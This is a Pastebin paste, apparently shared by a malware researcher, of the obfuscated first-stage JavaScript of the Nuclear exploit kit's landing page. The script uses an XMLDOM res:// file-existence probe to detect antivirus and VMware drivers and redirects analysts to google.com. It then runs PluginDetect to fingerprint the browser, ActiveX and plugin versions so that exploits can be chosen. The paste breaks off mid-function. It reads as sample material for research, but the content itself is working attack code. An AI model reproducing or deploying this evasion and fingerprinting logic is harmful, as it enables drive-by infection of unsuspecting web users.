Advertisement
Kafeine

NuclearPack_Firstpass_2014-10-19

Oct 19th, 2014
1,103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. qBa = this;
  2.  
  3. function chavs(a) {
  4.     eval('va' + 'r xm' + 'lDo' + 'c = n' + 'ew A' + 'ctiv' + 'eX' + 'Objec' + 't("' + 'Micr' + 'oso' + 'ft.XM' + 'LDO' + 'M");');
  5.     xmlDoc.async = true;
  6.     xmlDoc.loadXML('<!DO' + 'CTY' + 'PE ht' + 'ml PU' + 'BLI' + 'C "-//W' + '3C//DT' + 'D XH' + 'T' + 'ML 1.' + '0 Tra' + 'nsla' + 'tion//E' + 'N" "r' + 'es' + '://' + a + '">');
  7.     if (xmlDoc.parseError.errorCode != 0) {
  8.         var err = "Error Code: " + xmlDoc.parseError.errorCode + "\n";
  9.         err += "Error Reason: " + xmlDoc.parseError.reason;
  10.         err += "Error line: " + xmlDoc.parseError.line;
  11.         if (err.indexOf("-2147023083") > 0) {
  12.             return 1;
  13.         } else {
  14.             return 0;
  15.         }
  16.     }
  17.     return 0;
  18. }
  19. var c_a = 0;
  20. if (chavs("c:\\W" + "in" + "dow" + "s\\Sys" + "tem" + "32\\d" + "riv" + "ers\\eamo" + "n.sy" + "s") || chavs("c:\\Wi" + "ndo" + "ws\\Sy" + "ste" + "m32\\dr" + "ive" + "rs\\kl" + "if.sy" + "s") || chavs("c:\\Wi" + "ndo" + "ws\\Sys" + "tem3" + "2\\dri" + "ver" + "s\\kn" + "ep" + "s.s" + "ys") || chavs("c:\\W" + "indo" + "ws\\Sys" + "tem3" + "2\\dr" + "iv" + "ers\\kl" + "flt.s" + "ys") || chavs("c:\\Wi" + "nd" + "ows\\Sy" + "stem" + "32\\dr" + "ive" + "rs\\vmn" + "et.sy" + "s") || chavs("c:\\Wi" + "nd" + "ows\\Sys" + "tem" + "32\\dr" + "iver" + "s\\v" + "mxne" + "t.sy" + "s") || chavs("c:\\Win" + "dow" + "s\\Sy" + "ste" + "m32\\d" + "riv" + "ers\\kl" + "1.s" + "ys") || chavs("c:\\Wi" + "ndo" + "ws\\Sy" + "st" + "em32\\d" + "riv" + "ers\\t" + "mnci" + "esc.s" + "ys") || chavs("c:\\Win" + "do" + "ws\\Sys" + "tem3" + "2\\d" + "rive" + "rs\\tm" + "tdi.s" + "ys") || chavs("c:\\Wi" + "ndo" + "ws\\Sys" + "tem3" + "2\\d" + "rive" + "rs\\tma" + "ctmon.s" + "ys") || chavs("c:\\Wi" + "ndo" + "ws\\Sy" + "st" + "em3" + "2\\dr" + "iv" + "ers\\TM" + "EBC" + "32.sy" + "s") || chavs("c:\\Wi" + "ndow" + "s\\Sys" + "tem3" + "2\\dri" + "ver" + "s\\t" + "me" + "ext.s" + "ys") || chavs("c:\\W" + "indo" + "ws\\Sy" + "ste" + "m32\\dr" + "iv" + "ers\\tm" + "com" + "m.s" + "ys") || chavs("c:\\Wi" + "ndo" + "ws\\Sy" + "ste" + "m32\\d" + "riv" + "ers\\tm" + "evt" + "mgr.sy" + "s")) {
  21.     document.write("<meta http-equiv=\"refresh\" content=\"0; url=http://google.com\">");
  22.     c_a = 1;
  23. };
  24. (function() {
  25.     var a = {
  26.         version: "0.8.8",
  27.         name: "PluginDetect",
  28.         addPlugin: function(b, c) {
  29.             b && a.isString(b) && c && a.isFunc(c.getVersion) && (b = b.replace(/\s/g, "").toLowerCase(), a.Plugins[b] = c, a.isDefined(c.getVersionDone) || (c.installed = null, c.version = null, c.version0 = null, c.getVersionDone = null, c.pluginName = b))
  30.         },
  31.         openTag: "<",
  32.         hasOwnProperty: {}.constructor.prototype.hasOwnProperty,
  33.         hasOwn: function(b, c) {
  34.             var d;
  35.             try {
  36.                 d = a.hasOwnProperty.call(b, c)
  37.             } catch (e) {}
  38.             return !!d
  39.         },
  40.         rgx: {
  41.             str: /string/i,
  42.             num: /number/i,
  43.             fun: /function/i,
  44.             arr: /array/i
  45.         },
  46.         toString: {}.constructor.prototype.toString,
  47.         isDefined: function(a) {
  48.             return "undefined" != typeof a
  49.         },
  50.         isArray: function(b) {
  51.             return a.rgx.arr.test(a.toString.call(b))
  52.         },
  53.         isString: function(b) {
  54.             return a.rgx.str.test(a.toString.call(b))
  55.         },
  56.         isNum: function(b) {
  57.             return a.rgx.num.test(a.toString.call(b))
  58.         },
  59.         isStrNum: function(b) {
  60.             return a.isString(b) && /\d/.test(b)
  61.         },
  62.         isFunc: function(b) {
  63.             return a.rgx.fun.test(a.toString.call(b))
  64.         },
  65.         getNumRegx: /[\d][\d\.\_,\-]*/,
  66.         splitNumRegx: /[\.\_,\-]/g,
  67.         getNum: function(b, c) {
  68.             var d = a.isStrNum(b) ? (a.isDefined(c) ? RegExp(c) : a.getNumRegx).exec(b) : null;
  69.             return d ? d[0] : null
  70.         },
  71.         compareNums: function(b, c, d) {
  72.             var e = parseInt;
  73.             if (a.isStrNum(b) && a.isStrNum(c)) {
  74.                 if (a.isDefined(d) && d.compareNums) return d.compareNums(b, c);
  75.                 b = b.split(a.splitNumRegx);
  76.                 c = c.split(a.splitNumRegx);
  77.                 for (d = 0; d < Math.min(b.length, c.length); d++) {
  78.                     if (e(b[d], 10) > e(c[d], 10)) return 1;
  79.                     if (e(b[d], 10) < e(c[d], 10)) return -1
  80.                 }
  81.             }
  82.             return 0
  83.         },
  84.         formatNum: function(b, c) {
  85.             var d, e;
  86.             if (!a.isStrNum(b)) return null;
  87.             a.isNum(c) || (c = 4);
  88.             c--;
  89.             e = b.replace(/\s/g, "").split(a.splitNumRegx).concat(["0", "0", "0", "0"]);
  90.             for (d = 0; 4 > d; d++)
  91.                 if (/^(0+)(.+)$/.test(e[d]) && (e[d] = RegExp.$2), d > c || !/\d/.test(e[d])) e[d] = "0";
  92.             return e.slice(0, 4).join(",")
  93.         },
  94.         pd: {
  95.             getPROP: function(b, c, d) {
  96.                 try {
  97.                     b && (d = b[c])
  98.                 } catch (e) {}
  99.                 return d
  100.             },
  101.             findNavPlugin: function(b) {
  102.                 if (b.dbug) return b.dbug;
  103.                 if (window.navigator) {
  104.                     var c = {
  105.                             Find: a.isString(b.find) ? RegExp(b.find, "i") : b.find,
  106.                             Find2: a.isString(b.find2) ? RegExp(b.find2, "i") : b.find2,
  107.                             Avoid: b.avoid ? a.isString(b.avoid) ? RegExp(b.avoid, "i") : b.avoid : 0,
  108.                             Num: b.num ? /\d/ : 0
  109.                         },
  110.                         d, e, f, g = navigator.mimeTypes,
  111.                         h = navigator.plugins,
  112.                         l = null;
  113.                     if (b.mimes && g)
  114.                         for (f = a.isArray(b.mimes) ? [].concat(b.mimes) : a.isString(b.mimes) ? [b.mimes] : [], d = 0; d < f.length; d++) {
  115.                             e = 0;
  116.                             try {
  117.                                 a.isString(f[d]) && /[^\s]/.test(f[d]) && (e = g[f[d]].enabledPlugin)
  118.                             } catch (n) {}
  119.                             if (e && (e = this.findNavPlugin_(e, c), e.obj && (l = e.obj), l && !a.dbug)) return l
  120.                         }
  121.                     if (b.plugins && h) {
  122.                         b = a.isArray(b.plugins) ? [].concat(b.plugins) : a.isString(b.plugins) ? [b.plugins] : [];
  123.                         for (d = 0; d < b.length; d++) {
  124.                             e = 0;
  125.                             try {
  126.                                 b[d] && a.isString(b[d]) && (e = h[b[d]])
  127.                             } catch (p) {}
  128.                             if (e && (e = this.findNavPlugin_(e, c), e.obj && (l = e.obj), l && !a.dbug)) return l
  129.                         }
  130.                         b = h.length;
  131.                         if (a.isNum(b))
  132.                             for (d = 0; d < b; d++) {
  133.                                 e = 0;
  134.                                 try {
  135.                                     e = h[d]
  136.                                 } catch (m) {}
  137.                                 if (e && (e = this.findNavPlugin_(e, c), e.obj && (l = e.obj), l && !a.dbug)) break
  138.                             }
  139.                     }
  140.                 }
  141.                 return l
  142.             },
  143.             findNavPlugin_: function(a, c) {
  144.                 var d = a.description || "",
  145.                     e = a.name || "",
  146.                     f = {};
  147.                 if (c.Find.test(d) && !(c.Find2 && !c.Find2.test(e) || c.Num && !c.Num.test(RegExp.leftContext + RegExp.rightContext)) || c.Find.test(e) && !(c.Find2 && !c.Find2.test(d) || c.Num && !c.Num.test(RegExp.leftContext + RegExp.rightContext))) c.Avoid && (c.Avoid.test(d) || c.Avoid.test(e)) || (f.obj = a);
  148.                 return f
  149.             },
  150.             getVersionDelimiter: ",",
  151.             findPlugin: function(b) {
  152.                 var c, d = {
  153.                     status: -3,
  154.                     plugin: 0
  155.                 };
  156.                 if (!a.isString(b)) return d;
  157.                 if (1 == b.length) return this.getVersionDelimiter = b, d;
  158.                 b = b.toLowerCase().replace(/\s/g, "");
  159.                 c = a.Plugins[b];
  160.                 if (!c || !c.getVersion) return d;
  161.                 d.plugin = c;
  162.                 d.status = 1;
  163.                 return d
  164.             }
  165.         },
  166.         getPluginFileVersion: function(b, c) {
  167.             var d, e, f, g, h = -1;
  168.             if (!b) return c;
  169.             b.version && (d = a.getNum(b.version + ""));
  170.             if (!d || !c) return c || d || null;
  171.             d = a.formatNum(d);
  172.             c = a.formatNum(c);
  173.             e = c.split(a.splitNumRegx);
  174.             f = d.split(a.splitNumRegx);
  175.             for (g = 0; g < e.length; g++)
  176.                 if (-1 < h && g > h && "0" != e[g] || f[g] != e[g] && (-1 == h && (h = g), "0" != e[g])) return c;
  177.             return d
  178.         },
  179.         AXO: function() {
  180.             var a;
  181.             try {
  182.                 a = new window.ActiveXObject
  183.             } catch (c) {}
  184.             return a ? null : window.ActiveXObject
  185.         }(),
  186.         getAXO: function(b) {
  187.             var c = null;
  188.             try {
  189.                 c = new a.AXO(b)
  190.             } catch (d) {}
  191.             c && (a.browser.ActiveXEnabled = !0);
  192.             return c
  193.         },
  194.         browser: {},
  195.         INIT: function() {
  196.             a.init.library()
  197.         },
  198.         init: {
  199.             hasRun: 0,
  200.             detectIE: function() {
  201.                 var b = a.browser,
  202.                     c = document,
  203.                     d, e = window.navigator ? navigator.userAgent || "" : "",
  204.                     f, g;
  205.                 b.ActiveXFilteringEnabled = !1;
  206.                 b.ActiveXEnabled = !1;
  207.                 try {
  208.                     b.ActiveXFilteringEnabled = !!window.external.msActiveXFilteringEnabled()
  209.                 } catch (h) {}
  210.                 g = ["WMPlayer.OCX", "ShockwaveFlash.ShockwaveFlash", "AgControl.AgControl"];
  211.                 f = "Msxml2.XMLHTTP Msxml2.DOMDocument Microsoft.XMLDOM TDCCtl.TDCCtl Shell.UIHelper HtmlDlgSafeHelper.HtmlDlgSafeHelper Scripting.Dictionary".split(" ").concat(g);
  212.                 for (d = 0; d < f.length && (!a.getAXO(f[d]) || a.dbug); d++);
  213.                 if (b.ActiveXEnabled && b.ActiveXFilteringEnabled)
  214.                     for (d = 0; d < g.length; d++)
  215.                         if (a.getAXO(g[d])) {
  216.                             b.ActiveXFilteringEnabled = !1;
  217.                             break
  218.                         }
  219.                 d = c.documentMode;
  220.                 try {
  221.                     c.documentMode = ""
  222.                 } catch (l) {}
  223.                 b.isIE = b.ActiveXEnabled || a.isNum(c.documentMode) || eval("/*@cc_on!@*/!1");
  224.                 try {
  225.                     c.documentMode = d
  226.                 } catch (n) {}
  227.                 b.verIE = null;
  228.                 b.isIE && (b.verIE = (a.isNum(c.documentMode) && 7 <= c.documentMode ? c.documentMode : 0) || (/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i.test(e) ? parseFloat(RegExp.$1, 10) : 7));
  229.             },
  230.             detectNonIE: function() {
  231.                 var b = a.browser,
  232.                     c = window.navigator ? navigator : {},
  233.                     d = b.isIE ? "" : c.userAgent || "",
  234.                     e = c.vendor || "",
  235.                     c = c.product || "";
  236.                 b.isGecko = /Gecko/i.test(c) && /Gecko\s*\/\s*\d/i.test(d);
  237.                 b.verGecko = b.isGecko ? a.formatNum(/rv\s*\:\s*([\.\,\d]+)/i.test(d) ? RegExp.$1 : "0.9") : null;
  238.                 b.isOpera = /(OPR\s*\/|Opera\s*\/\s*\d.*\s*Version\s*\/|Opera\s*[\/]?)\s*(\d+[\.,\d]*)/i.test(d);
  239.                 b.verOpera = b.isOpera ? a.formatNum(RegExp.$2) : null;
  240.                 b.isChrome = !b.isOpera && /(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i.test(d);
  241.                 b.verChrome = b.isChrome ? a.formatNum(RegExp.$2) : null;
  242.                 b.isSafari = !b.isOpera && !b.isChrome && (/Apple/i.test(e) || !e) && /Safari\s*\/\s*(\d[\d\.]*)/i.test(d);
  243.                 b.verSafari = b.isSafari && /Version\s*\/\s*(\d[\d\.]*)/i.test(d) ? a.formatNum(RegExp.$1) : null;
  244.             },
  245.             detectPlatform: function() {
  246.                 var b, c = window.navigator ? navigator.platform || "" : "";
  247.                 a.OS = 100;
  248.                 if (c) {
  249.                     var d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 100];
  250.                     for (b = d.length - 2; 0 <= b; b -= 2)
  251.                         if (d[b] && RegExp(d[b], "i").test(c)) {
  252.                             a.OS = d[b + 1];
  253.                             break
  254.                         }
  255.                 }
  256.             },
  257.             library: function() {
  258.                 var b = document;
  259.                 a.win.init();
  260.                 a.head = b.getElementsByTagName("head")[0] || b.getElementsByTagName("body")[0] || b.body || null;
  261.                 this.detectPlatform();
  262.                 this.detectIE();
  263.                 this.detectNonIE();
  264.                 this.hasRun = 1;
  265.             }
  266.         },
  267.         ev: {
  268.             handler: function(a, c, d, e) {
  269.                 return function() {
  270.                     a(c, d, e)
  271.                 }
  272.             },
  273.             fPush: function(b, c) {
  274.                 a.isArray(c) && (a.isFunc(b) || a.isArray(b) && 0 < b.length && a.isFunc(b[0])) && c.push(b)
  275.             },
  276.             call0: function(b) {
  277.                 var c = a.isArray(b) ? b.length : -1;
  278.                 0 < c && a.isFunc(b[0]) ? (b[0](a, 1 < c ? b[1] : 0, 2 < c ? b[2] : 0, 3 < c ? b[3] : 0)) : a.isFunc(b) && (b(a));
  279.             },
  280.             callArray0: function(b) {
  281.                 var c;
  282.                 if (a.isArray(b))
  283.                     for (; b.length;) c = b[0], b.splice(0, 1), this.call0(c)
  284.             },
  285.             call: function(a) {
  286.                 this.call0(a);
  287.                 this.ifDetectDoneCallHndlrs()
  288.             },
  289.             callArray: function(a) {
  290.                 this.callArray0(a);
  291.                 this.ifDetectDoneCallHndlrs()
  292.             },
  293.             allDoneHndlrs: [],
  294.             ifDetectDoneCallHndlrs: function() {
  295.                 var b, c;
  296.                 if (this.allDoneHndlrs.length && (!a.win || a.win.loaded && !a.win.loadPrvtHndlrs.length && !a.win.loadPblcHndlrs.length)) {
  297.                     if (a.Plugins)
  298.                         for (b in a.Plugins)
  299.                             if (c = a.Plugins[b], a.hasOwn(a.Plugins, b) && c && a.isFunc(c.getVersion) && (3 == c.OTF || c.DoneHndlrs && c.DoneHndlrs.length)) return;
  300.                     this.callArray0(this.allDoneHndlrs);
  301.                 }
  302.             }
  303.         },
  304.         isMinVersion: function(b, c, d, e) {
  305.             var f = a.pd.findPlugin(b),
  306.                 g = -1;
  307.             if (0 > f.status) return f.status;
  308.             f = f.plugin;
  309.             c = a.formatNum(a.isNum(c) ? c.toString() : a.isStrNum(c) ? a.getNum(c) : "0");
  310.             1 != f.getVersionDone && (f.getVersion(c, d, e), null === f.getVersionDone && (f.getVersionDone = 1));
  311.             null !== f.installed && (g = 0.5 >= f.installed ? f.installed : 0.7 == f.installed ? 1 : null === f.version ? 0 : 0 <= a.compareNums(f.version, c, f) ? 1 : -0.1);
  312.             return g
  313.         },
  314.         getVersion: function(b, c, d) {
  315.             var e = a.pd.findPlugin(b);
  316.             if (0 > e.status) return null;
  317.             e = e.plugin;
  318.             1 != e.getVersionDone && (e.getVersion(null, c, d), null === e.getVersionDone && (e.getVersionDone = 1));
  319.             e = (e = e.version || e.version0) ? e.replace(a.splitNumRegx, a.pd.getVersionDelimiter) : e;
  320.             return e
  321.         },
  322.         hasMimeType: function(b) {
  323.             if (b && window.navigator && navigator.mimeTypes) {
  324.                 var c, d, e, f = navigator.mimeTypes,
  325.                     g = a.isArray(b) ? [].concat(b) : a.isString(b) ? [b] : [];
  326.                 e = g.length;
  327.                 for (d = 0; d < e; d++) {
  328.                     b = 0;
  329.                     try {
  330.                         a.isString(g[d]) && /[^\s]/.test(g[d]) && (b = f[g[d]])
  331.                     } catch (h) {}
  332.                     if ((c = b ? b.enabledPlugin : 0) && (c.name || c.description)) return b
  333.                 }
  334.             }
  335.             return null
  336.         },
  337.         onDetectionDone: function(b, c, d, e) {
  338.             var f = a.pd.findPlugin(b);
  339.             if (-3 == f.status) return -1;
  340.             f = f.plugin;
  341.             a.isArray(f.DoneHndlrs) || (f.DoneHndlrs = []);
  342.             1 != f.getVersionDone && (a.getVersion ? a.getVersion(b, d, e) : a.isMinVersion(b, "0", d, e));
  343.             if (-0.5 != f.installed && 0.5 != f.installed) return a.ev.call(c), 1;
  344.             a.ev.fPush(c, f.DoneHndlrs);
  345.             return 0
  346.         },
  347.         codebase: {
  348.             isDisabled: function() {
  349.                 return a.browser.ActiveXEnabled && a.isDefined(a.pd.getPROP(document.createElement("object"), "object")) ? 0 : 1
  350.             },
  351.             pluginMayBeHanging: function(b) {
  352.                 return !this.isDisabled() && b && a.isDefined(a.pd.getPROP(b, "readyState")) && a.pd.getPROP(b.firstChild, "object") && (b = a.pd.getPROP(b.firstChild, "readyState"), a.isNum(b) && 4 != b) ? (1) : 0
  353.             },
  354.             emptyNode: function(a) {
  355.                 try {
  356.                     a.innerHTML = ""
  357.                 } catch (c) {}
  358.             },
  359.             emptyGarbage: function() {
  360.                 var b, c = this.HTML,
  361.                     d = 0;
  362.                 if (c.length) {
  363.                     for (b = c.length - 1; b >= this.len; b--) c[b] && c[b].span && this.pluginMayBeHanging(c[b].span) && (this.emptyNode(c[b].span), c[b].span = null, d = 1);
  364.                     this.len = c.length;
  365.                     if (d) {
  366.                         try {
  367.                             window.CollectGarbage()
  368.                         } catch (e) {}
  369.                     }
  370.                 }
  371.             },
  372.             HTML: [],
  373.             len: 0,
  374.             onDone: function(a, c) {
  375.                 var d, e = c.HTML;
  376.                 for (d = 0; d < e.length; d++) e[d] && e[d].span && (c.emptyNode(e[d].span), e[d].span = null)
  377.             },
  378.             init: function(b) {
  379.                 if (!b.init) {
  380.                     b.init = 1;
  381.                     var c;
  382.                     a.ev.fPush([this.onDone, this], a.win.unloadHndlrs);
  383.                     b.tagA = '<object width="1" height="1" style="display:none;" codebase="#version=';
  384.                     c = b.classID || b.$$.classID || "";
  385.                     b.tagB = '" ' + (/clsid\s*:/i.test(c) ? 'classid="' : 'type="') + c + '">' + a.openTag + "/object>";
  386.                     for (c = 0; c < b.Lower.length; c++) b.Lower[c] = a.formatNum(b.Lower[c]), b.Upper[c] = a.formatNum(b.Upper[c]);
  387.                 }
  388.             },
  389.             isActiveXObject: function(b, c) {
  390.                 var d = 0,
  391.                     e = b.$$,
  392.                     f = document.createElement("span");
  393.                 if (b.min && 0 >= a.compareNums(c, b.min)) return 1;
  394.                 if (b.max && 0 <= a.compareNums(c, b.max)) return 0;
  395.                 f.innerHTML = b.tagA + c + b.tagB;
  396.                 a.pd.getPROP(f.firstChild, "object") && (d = 1);
  397.                 d ? (b.min = c, this.HTML.push({
  398.                     span: f
  399.                 })) : (b.max = c, f.innerHTML = "");
  400.                 return d
  401.             },
  402.             convert_: function(b, c, d, e) {
  403.                 return (b = b.convert[c]) ? a.isFunc(b) ? a.formatNum(b(d.split(a.splitNumRegx), e).join(",")) : d : b
  404.             },
  405.             convert: function(b, c, d) {
  406.                 var e, f, g;
  407.                 c = a.formatNum(c);
  408.                 f = {
  409.                     v: c,
  410.                     x: -1
  411.                 };
  412.                 if (c)
  413.                     for (e = 0; e < b.Lower.length; e++)
  414.                         if ((g = this.convert_(b, e, b.Lower[e])) && 0 <= a.compareNums(c, d ? g : b.Lower[e]) && (!e || 0 > a.compareNums(c, d ? this.convert_(b, e, b.Upper[e]) : b.Upper[e]))) {
  415.                             f.v = this.convert_(b, e, c, d);
  416.                             f.x = e;
  417.                             break
  418.                         }
  419.                 return f
  420.             },
  421.             isMin: function(b, c) {
  422.                 var d, e = 0;
  423.                 if (!a.isStrNum(c) || this.isDisabled()) return e;
  424.                 this.init(b);
  425.                 if (!b.L)
  426.                     for (b.L = {}, d = 0; d < b.Lower.length; d++)
  427.                         if (this.isActiveXObject(b, b.Lower[d])) {
  428.                             b.L = this.convert(b, b.Lower[d]);
  429.                             break
  430.                         }
  431.                 b.L.v && (d = this.convert(b, c, 1), 0 <= d.x && (e = (b.L.x == d.x ? this.isActiveXObject(b, d.v) : 0 >= a.compareNums(c, b.L.v)) ? 1 : -1));
  432.                 return e
  433.             },
  434.             search: function(b) {
  435.                 var c = this,
  436.                     d = b.$$,
  437.                     e = 0,
  438.                     f;
  439.                 f = b.searchHasRun || c.isDisabled() ? 1 : 0;
  440.                 b.searchHasRun = 1;
  441.                 if (f) return b.version || null;
  442.                 c.init(b);
  443.                 var g, h = function(d, f) {
  444.                         var g = [].concat(m);
  445.                         g[d] = f;
  446.                         g = c.isActiveXObject(b, g.join(","));
  447.                         g ? (e = 1, m[d] = f) : k[d] = f;
  448.                         return g
  449.                     },
  450.                     l = b.DIGITMAX,
  451.                     n, p, m = [0, 0, 0, 0],
  452.                     k = [0, 0, 0, 0];
  453.                 for (f = 0; f < k.length; f++) {
  454.                     m[f] = Math.floor(b.DIGITMIN[f]) || 0;
  455.                     n = m.join(",");
  456.                     p = m.slice(0, f).concat([99999999, 99999999, 99999999, 99999999]).slice(0, m.length).join(",");
  457.                     for (g = 0; g < l.length; g++) a.isArray(l[g]) && (l[g].push(0), l[g][f] > k[f] && 0 <= a.compareNums(p, b.Lower[g]) && 0 > a.compareNums(n, b.Upper[g]) && (k[f] = Math.floor(l[g][f])));
  458.                     for (g = 0; 30 > g; g++) {
  459.                         if (16 >= k[f] - m[f]) {
  460.                             for (g = k[f]; g >= m[f] + (f ? 1 : 0) && !h(f, g); g--);
  461.                             break
  462.                         }
  463.                         h(f, Math.round((k[f] + m[f]) / 2))
  464.                     }
  465.                     if (!e) break;
  466.                     k[f] = m[f];
  467.                 }
  468.                 e && (b.version = c.convert(b, m.join(",")).v);
  469.                 return b.version || null
  470.             }
  471.         },
  472.         win: {
  473.             loaded: !1,
  474.             hasRun: 0,
  475.             init: function() {
  476.                 this.hasRun || (this.hasRun = 1, this.addEvent("load", this.onLoad), this.addEvent("unload", this.onUnload))
  477.             },
  478.             addEvent: function(b, c) {
  479.                 var d = window;
  480.                 a.isFunc(c) && (d.addEventListener ? d.addEventListener(b, c, !1) : d.attachEvent ? d.attachEvent("on" + b, c) : d["on" + b] = this.concatFn(c, d["on" + b]))
  481.             },
  482.             concatFn: function(a, c) {
  483.                 return function() {
  484.                     a();
  485.                     "function" == typeof c && c()
  486.                 }
  487.             },
  488.             loadPrvtHndlrs: [],
  489.             loadPblcHndlrs: [],
  490.             unloadHndlrs: [],
  491.             onUnload: function() {
  492.                 if (a && a.win) {
  493.                     a.ev.callArray(a.win.unloadHndlrs);
  494.                     for (var b in a) a[b] = 0;
  495.                     a = 0
  496.                 }
  497.             },
  498.             count: 0,
  499.             countMax: 1,
  500.             intervalLength: 10,
  501.             onLoad: function() {
  502.                 if (a && a.win && !a.win.loaded) {
  503.                     var b = a.win;
  504.                     b.count < b.countMax && b.loadPrvtHndlrs.length ? (setTimeout(b.onLoad, b.intervalLength)) : (b.loaded = !0, a.ev.callArray(b.loadPrvtHndlrs), a.ev.callArray(b.loadPblcHndlrs));
  505.                     b.count++
  506.                 }
  507.             }
  508.         },
  509.         DOM: {
  510.             isEnabled: {
  511.                 objectTag: function() {
  512.                     return a.browser.isIE ? a.browser.ActiveXEnabled : 1
  513.                 },
  514.                 objectTagUsingActiveX: function() {
  515.                     return a.browser.ActiveXEnabled
  516.                 },
  517.                 objectProperty: function() {
  518.                     return a.browser.ActiveXEnabled && a.isDefined(a.pd.getPROP(document.createElement("object"), "object")) ? 1 : 0
  519.                 }
  520.             },
  521.             div: null,
  522.             divID: "plugindetect",
  523.             divWidth: 300,
  524.             getDiv: function() {
  525.                 return this.div || document.getElementById(this.divID) || null
  526.             },
  527.             initDiv: function() {
  528.                 var b;
  529.                 this.div || ((b = this.getDiv()) ? (this.div = b) : (this.div = document.createElement("div"), this.div.id = this.divID, this.setStyle(this.div, this.getStyle.div()), this.insertDivInBody(this.div)), a.ev.fPush([this.onWinUnloadEmptyDiv, this], a.win.unloadHndlrs))
  530.             },
  531.             pluginSize: 1,
  532.             altHTML: "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;",
  533.             emptyNode: function(b) {
  534.                 if (b && /div|span/i.test(b.tagName || "")) {
  535.                     a.browser.isIE && this.setStyle(b, ["display", "none"]);
  536.                     try {
  537.                         b.innerHTML = ""
  538.                     } catch (c) {}
  539.                 }
  540.             },
  541.             onWinUnloadEmptyDiv: function(a, c) {
  542.                 var d = c.getDiv(),
  543.                     e, f;
  544.                 if (d) {
  545.                     if (d.childNodes) {
  546.                         for (e = d.childNodes.length - 1; 0 <= e; e--) f = d.childNodes[e], c.emptyNode(f);
  547.                         try {
  548.                             d.innerHTML = ""
  549.                         } catch (g) {}
  550.                     }
  551.                     if (d.parentNode) {
  552.                         try {
  553.                             d.parentNode.removeChild(d)
  554.                         } catch (h) {}
  555.                         c.div = null
  556.                     }
  557.                 }
  558.             },
  559.             width: function() {
  560.                 var b = this.span,
  561.                     c;
  562.                 c = b && a.isNum(b.scrollWidth) ? b.scrollWidth : -1;
  563.                 b = b && a.isNum(b.offsetWidth) ? b.offsetWidth : -1;
  564.                 return 0 < b ? b : 0 < c ? c : Math.max(b, c)
  565.             },
  566.             obj: function(a) {
  567.                 return (a = this.span) && a.firstChild ? a.firstChild : null
  568.             },
  569.             readyState: function() {
  570.                 return a.browser.isIE && a.isDefined(a.pd.getPROP(this.span, "readyState")) ? a.pd.getPROP(this.obj(), "readyState") : this.undefined
  571.             },
  572.             objectProperty: function() {
  573.                 var b;
  574.                 this.DOM.isEnabled.objectProperty() && (b = a.pd.getPROP(this.obj(), "object"));
  575.                 return b
  576.             },
  577.             getTagStatus: function(b, c, d, e, f, g) {
  578.                 if (!b || !b.span) return -2;
  579.                 var h = b.width(),
  580.                     l = b.readyState(),
  581.                     n = b.objectProperty();
  582.                 if (n) return 1.5;
  583.                 var k = /clsid\s*\:/i,
  584.                     m = d && k.test(d.outerHTML || "") ? d : e && k.test(e.outerHTML || "") ? e : 0;
  585.                 d = d && !k.test(d.outerHTML || "") ? d : e && !k.test(e.outerHTML || "") ? e : 0;
  586.                 k = b && k.test(b.outerHTML || "") ? m : d;
  587.                 if (!(c && c.span && k && k.span)) return 0;
  588.                 m = k.width();
  589.                 c = c.width();
  590.                 d = k.readyState();
  591.                 if (0 > h || 0 > m || c <= this.pluginSize) return 0;
  592.                 g && !b.pi && a.isDefined(n) && a.browser.isIE && b.tagName == k.tagName && b.time <= k.time && h === m && 0 === l && 0 !== d && (b.pi = 1);
  593.                 if (m < c) return b.pi ? -0.1 : 0;
  594.                 if (h >= c && (!b.winLoaded && a.win.loaded || a.isNum(f) && (a.isNum(b.count2) || (b.count2 = f), 0 < f - b.count2))) return b.pi ? -0.5 : -1;
  595.                 try {
  596.                     if (h == this.pluginSize && (!a.browser.isIE || 4 === l) && (!b.winLoaded && a.win.loaded || b.winLoaded && a.isNum(f) && (a.isNum(b.count) || (b.count = f), 5 <= f - b.count))) return 1
  597.                 } catch (q) {}
  598.                 return b.pi ? -0.1 : 0
  599.             },
  600.             setStyle: function(a, c) {
  601.                 var d = a.style,
  602.                     e;
  603.                 if (d && c)
  604.                     for (e = 0; e < c.length; e += 2) try {
  605.                         d[c[e]] = c[e + 1]
  606.                     } catch (f) {}
  607.             },
  608.             getStyle: {
  609.                 span: function() {
  610.                     var b = a.DOM;
  611.                     return [].concat(this.Default).concat(["display", "inline", "fontSize", b.pluginSize + 3 + "px", "lineHeight", b.pluginSize + 3 + "px"])
  612.                 },
  613.                 div: function() {
  614.                     var b = a.DOM;
  615.                     return [].concat(this.Default).concat(["display", "block", "width", b.divWidth + "px", "height", b.pluginSize + 3 + "px", "fontSize", b.pluginSize + 3 + "px", "lineHeight", b.pluginSize + 3 + "px", "position", "absolute", "right", "9999px", "top", "-9999px"])
  616.                 },
  617.                 plugin: function(b) {
  618.                     var c = a.DOM;
  619.                     return "background-color:transparent;background-image:none;vertical-align:baseline;outline-style:none;border-style:none;padding:0px;margin:0px;visibility:" + (b ? "hidden;" : "visible;") + "display:inline;font-size:" + (c.pluginSize + 3) + "px;line-height:" + (c.pluginSize + 3) + "px;"
  620.                 },
  621.                 Default: "backgroundColor transparent backgroundImage none verticalAlign baseline outlineStyle none borderStyle none padding 0px margin 0px visibility visible".split(" ")
  622.             },
  623.             insertDivInBody: function(b, c) {
  624.                 var d = null,
  625.                     e = c ? window.top.document : window.document,
  626.                     f = e.getElementsByTagName("body")[0] || e.body;
  627.                 if (!f) try {
  628.                     e.write('<div id="pd33993399">.' + a.openTag + "/div>"), d = e.getElementById("pd33993399")
  629.                 } catch (g) {}
  630.                 if (f = e.getElementsByTagName("body")[0] || e.body) f.insertBefore(b, f.firstChild), d && f.removeChild(d)
  631.             },
  632.             insert: function(b, c, d, e, f, g, h) {
  633.                 var l, k = document.createElement("span");
  634.                 a.isDefined(e) || (e = "");
  635.                 if (a.isString(b) && /[^\s]/.test(b)) {
  636.                     b = b.toLowerCase().replace(/\s/g, "");
  637.                     l = a.openTag + b + " ";
